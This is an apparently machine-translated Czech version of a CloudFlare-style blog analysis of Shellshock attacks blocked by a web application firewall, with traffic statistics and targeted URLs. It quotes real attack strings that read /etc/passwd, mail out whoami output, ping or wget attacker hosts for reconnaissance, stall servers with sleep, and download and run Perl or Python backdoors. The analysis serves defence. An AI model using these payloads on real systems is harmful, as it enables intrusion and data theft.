Uvnitř Shellshock: jak hackeři používají k využívání systémů

ve středu minulého týdne se objevily podrobnosti o chybě Shellshock bash. Tato chyba začala tahanice o opravu počítačů, serverů, směrovačů, firewallů a dalších výpočetních zařízení pomocí zranitelných verzí bash.

CloudFlare ihned válí ochranu pro Profesionální, Obchodní a Podnikové zákazníky prostřednictvím naší Webové Aplikace Firewall. V neděli, po prostudování rozsahu problému, a při pohledu na protokoly útoků zastavených naším WAF, rozhodli jsme se zavést ochranu i pro naše zákazníky Free plan.

od té doby monitorujeme útoky, které jsme zastavili, abychom pochopili, jak vypadají a odkud pocházejí. Na základě našich pozorování je jasné, že hackeři využívají Shellshock po celém světě.


(CC BY 2.0 aussiegall)

Vysunout

Shellshock problém je příklad spuštění libovolného kódu (ACE) zranitelnosti. Typicky, ACE zranitelnosti, útoky jsou prováděny na programy, které jsou spuštěny, a vyžadují vysoce sofistikované pochopení struktury kódu, paměť rozložení a sestavení jazyka—stručně řečeno, tento typ útoku vyžaduje odborníka.

útočník také použije zranitelnost ACE k nahrání nebo spuštění programu, který jim dává jednoduchý způsob ovládání cíleného počítače. Toho je často dosaženo spuštěním „shellu“. Shell je příkazový řádek, do kterého lze zadávat a provádět příkazy.

Shellshock zranitelnosti je hlavní problém, protože to odstraňuje potřebu specializovaných znalostí, a poskytuje jednoduchý (bohužel, velmi jednoduchý) způsob převzetí kontroly nad dalším počítači (např. webový server) a dělat to spustit kód.

Předpokládejme na chvíli, že jste chtěli zaútočit na webový server a otevřít jeho disk CD nebo DVD. V Linuxu je vlastně příkaz, který to udělá: /bin/eject. Pokud webový server je citlivá na Shellshock vás může napadnout je tím, že přidá magické řetězec () { :; };/bin/eject a pak pošle tento řetězec na cílový počítač přes protokol HTTP. Za normálních okolností, User-Agent řetězec by určit typ prohlížeče, který používáte, ale v případě Shellshock zranitelnosti, je možné nastavit, aby nic říct.

například, pokud example.com byl zranitelný a pak

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

stačilo by, aby skutečně vytvořit CD nebo DVD disk vysunout.

při sledování útoků Shellshocku, které jsme zablokovali, jsme skutečně viděli někoho, kdo se pokouší přesně tento útok. Pokud tedy spustíte webový server a najednou najdete vyhozené DVD, může to znamenat, že váš stroj je zranitelný vůči Shellshocku.

Proč to jednoduchý útok funguje

Když webový server obdrží požadavek na stránku, jsou tam tři části žádosti, které může být náchylné k Shellshock útok: žádost adresy URL, hlavičky, které jsou zasílány spolu s URL, a co jsou známé jako „argumenty“ (když zadáte své jméno a adresu na web, to bude obvykle být zaslány jako argumenty v žádosti).

například, tady je aktuální požadavek HTTP, který načte CloudFlare homepage:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

V tomto případě URL je / (hlavní stránku) a záhlaví jsou Accept-EncodingAccept-Language, atd. Tyto záhlaví poskytují webovému serveru informace o schopnostech mého webového prohlížeče, můj preferovaný jazyk, web, který Hledám, A jaký prohlížeč používám.

není neobvyklé, že se tyto proměnné změní na proměnné uvnitř webového serveru, aby je webový server mohl prozkoumat. (Webový server může chtít vědět, jaký je můj preferovaný jazyk, aby se mohl rozhodnout, jak na mě reagovat).

například uvnitř webového serveru reagujícího na požadavek na domovskou stránku CloudFlare je možné, že následující proměnné jsou definovány zkopírováním hlaviček požadavků po znaku.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

tak dlouho, Jak tyto proměnné zůstávají uvnitř web server software, a nejsou předávány do jiných programů běží na webovém serveru, server je zranitelný.

Shellshock nastane, když jsou proměnné předány do shellu nazvaného „bash“. Bash je běžný shell používaný v systémech Linux. Webové servery často potřebují spouštět jiné programy, aby reagovaly na požadavek, a je běžné, že tyto proměnné jsou předávány do bash nebo jiného shellu.

Shellshock problému konkrétně dochází, když útočník modifikuje původu HTTP žádost obsahovat magie () { :; }; string uvedeno výše.

Předpokládejme, že útočník změní hlavičku User-Agent výše z Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 na jednoduše () { :; }; /bin/eject. Tím se vytvoří následující proměnná uvnitř webového serveru:

HTTP_USER_AGENT=() { :; }; /bin/eject

Pokud se tato proměnná dostane do bash webovým serverem, dojde k problému Shellshock. Je to proto, že bash má zvláštní pravidla pro manipulaci s proměnnou začínající na () { :; };. Spíše než léčbu proměnné HTTP_USER_AGENT jako posloupnost znaků s žádný zvláštní význam, bash se bude interpretovat jako příkaz, který musí být vykonán (jsem vynechal hluboce technické vysvětlení, proč se () { :; }; dělá bash takhle chovat, pro přehlednost v tomto eseji.)

problém je V tom, že HTTP_USER_AGENT pochází z User-Agent záhlaví, což je něco, co útočník ovládá, protože přichází do webového serveru v HTTP požadavku. A to je recept na katastrofu, protože útočník může zranitelnému serveru spustit libovolný příkaz, který chce (viz příklady níže).

řešení je upgrade bash na verzi, která nemá interpretovat () { :; }; zvláštním způsobem.

, Kde útoky přicházejí z

Když jsme se válí ochrany pro všechny zákazníky jsme zavedli metriku, která nám umožnila sledovat počet Shellshock útoky pokusil. Všichni obdrželi HTTP 403 zakázaný kód chyby, ale vedli jsme si protokol o tom, kdy k nim došlo, a základní informace o útoku.

Tento graf ukazuje počet útoků za sekundu v síti CloudFlare od zavedení ochrany pro všechny zákazníky.

Od chvíle, kdy CloudFlare obrátil na naše Shellshock ochranu až dnes brzy ráno, jsme byli svědky 10 až 15 útoků za sekundu. V pořadí podle objemu útoků přicházely tyto žádosti z Francie (80%), USA (7%), Nizozemska (7%) a poté menší objemy z mnoha dalších zemí.

kolem roku 0100 (1000 V Paříži) útoky z Francie ustaly. V současné době vidíme kolem 5 útoků za sekundu. V době psaní jsme zablokovali více než 1,1 m Shellshock útoky.

Nechat svou fantazii volně běhat

když je to tak snadné zaútočit na zranitelné stroje s Shellshock, a proto zranitelné stroj spustit libovolný příkaz poslán na to, útočníci mají nechat své fantazii volně běhat s způsoby, jak manipulovat s počítači na dálku.

CloudFlare WAF zaznamenává důvod, proč zablokoval požadavek, který nám umožňuje extrahovat a analyzovat skutečné použité řetězce Shellshock. Shellshock se používá především k průzkumu: k získávání soukromých informací a umožnění útočníkům získat kontrolu nad servery.

většina příkazů Shellshock je vstřikována Pomocí hlaviček HTTP User-Agent a Referer, ale útočníci také používají argumenty GET a POST a další náhodné hlavičky HTTP.

Chcete-li získat soukromé informace, útočníci používají několik technik. Nejjednodušší extrakce útoky jsou ve formě:

() {:;}; /bin/cat /etc/passwd

To zní heslo souboru /etc/passwd, a přidá ji na odpověď z webového serveru. Takže útočník injekčně tento kód prostřednictvím zranitelnosti Shellshock by viděl soubor s heslem vyhozen na jejich obrazovku jako součást webové stránky vrátil.

V jednom útoku jednoduše pošlou soukromé soubory na sebe. Dostanete data e-mailem, útočníci se pomocí mail příkaz jako je tento:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

tento příkaz nejprve běží whoami zjistit jméno uživatele, který je spuštěn webový server. To je obzvláště užitečné, protože pokud je webový server spuštěn jako root (superuživatel, který může dělat cokoli), pak bude server obzvláště bohatým cílem.

poté odešle uživatelské jméno spolu s názvem napadeného webu (example.com výše) prostřednictvím e-mailu. Název webu se zobrazí v řádku předmětu e-mailu.

ve svém volném čase se útočník může přihlásit do svého e-mailu a zjistit, které stránky byly zranitelné. Stejná e-mailová technika může být použita k extrahování dat, jako je soubor s heslem.


(CC BY 2.0 JD Hancock)

průzkum

zdaleka nejoblíbenější útok, který jsme viděli (přibližně 83% všech útoků), se nazývá „průzkum“. Při průzkumných útocích útočník pošle příkaz, který pošle zprávu stroji třetí strany. Stroj třetí strany poté sestaví seznam všech zranitelných strojů, které jej kontaktovaly.

V minulosti, jsme viděli seznamy ohrožení stroje se obrátil na botnety pro DDoS, spam, nebo jiné účely.

populární průzkumná technika používá ping příkaz, aby si zranitelné stroje k odeslání jednoho paketu (tzv. ping) na server třetí strany, které útočník ovládá. Útok řetězec vypadá takto:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

ping příkaz se obvykle používá pro testování, zda stroj je „živý“, nebo on-line (živý stroj reaguje s vlastní ping). Pokud je webový server zranitelný vůči Shellshocku, pošle jeden ping paket (-c 1) útočníkovi-stroji.com s užitečným zatížením nastaveným -p. Payload je jedinečné ID vytvořené útočníkem, aby mohli sledovat ping zpět na zranitelný web.

Další technika se používá k identifikaci zranitelných serverů je, aby se web serveru stáhnout webovou stránku z útočník-řízené stroje. Útočník se pak může podívat do protokolů webového serveru a zjistit, který stroj byl zranitelný. Tento útok funguje tak, že pošle Shellshock řetězec jako:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

útočník hledá v protokolu webového serveru attacker-controlled.com pro vstupy. Stažená stránka je nastavena útočníkem, aby odhalil název napadeného webu. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== je vlastně kód, což znamená, že zaútočil na webu byl example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== je vlastně base64 řetězec. Když je dekódován, čte:

example.comShellShockSalt

z tohoto řetězce může útočník zjistit, zda jejich útok na příklad.com byl úspěšný, a, pokud ano, mohou se později vrátit a dále využívat tento web. Zatímco jsem nahradil z domény, která byla cílem, jsme svědky skutečné příklady v přírodě vlastně pomocí ShellShockSalt jako sůl v hash.

Odmítnutí Služby

Další Shellshock útok používá tento řetězec

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

To se pokouší spustit sleep příkaz třemi různými způsoby (protože systémy mají mírně odlišnou konfigurací, spát lze nalézt v adresářích /bin nebo /sbin nebo /usr/bin). Bez ohledu na spánek, který běží, způsobí, že server počká 20 sekund před odpovědí . To spotřebuje prostředky na stroji, protože vlákno nebo proces provádějící sleep neudělá nic jiného po dobu 20 sekund.

Toto je možná nejjednodušší odmítnutí služby ze všech. Útočníci jednoduše řeknou stroji, aby na chvíli spal. Pošlete dostatek těchto příkazů a stroj by mohl být svázán a nedělat nic a neschopný obsluhovat legitimní požadavky.


(CC BY 2.0 peter castletona)

Ovládání

Kolem 8% útoků jsme zatím viděli, byly přímo zaměřené na ovládnutí serveru. Dálkové ovládání útoky vypadat takto:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Tento příkaz se pokusí použít dva programy (wgetcurl) stáhnout program ze serveru, které útočník ovládá. Program je napsán v jazyce Perl a po stažení je okamžitě spuštěn. Tento program nastaví vzdálený přístup útočníkovi na zranitelný webový server.

další útok používá jazyk Python k nastavení programu, který lze použít k vzdálenému spuštění libovolného příkazu na zranitelném počítači:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

stažený programcl.py je vytvořen tak, aby vypadal jako aktualizace antivirového programu ClamAV. Po zpoždění 5 sekund se útok po sobě vyčistí odstraněním staženého souboru(ponecháním spuštěného pouze v paměti).


(CC BY 2.0 Jeff Taylor)

Výběr Cíle

při Pohledu na webové stránky byli napadeni, a Url je požadováno, je možné učinit kvalifikovaný odhad na konkrétní webové aplikace budou napadeni.

nejvyšší adresy URL, které jsme viděli, jsou: / (23.00%), /cgi-bin-sdb/printenv(15,12%), /CGI-mod/index.CGI (14,93%), /CGI-sys/entropysearch.CGI (15.20%) a /CGI-sys/defaultwebpage.CGI (14,59%). Některé z těchto adres URL používají populární webové aplikace a dokonce i hardwarové zařízení.

zdá se, že 23% útoky jsou namířeny proti cPanel web hosting ovládací software, 15% proti staré Apache zařízení, a 15% proti Barracuda hardwarové produkty, které mají webové rozhraní.

druhý je zajímavý, protože poukazuje na skutečnost, že Shellshock není jen útok na webových stránkách: je to útok na něco, co běží bash a přístupné přes Internet. To by mohlo zahrnovat hardwarová zařízení, set-top boxy, přenosné počítače, možná i telefony.

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna.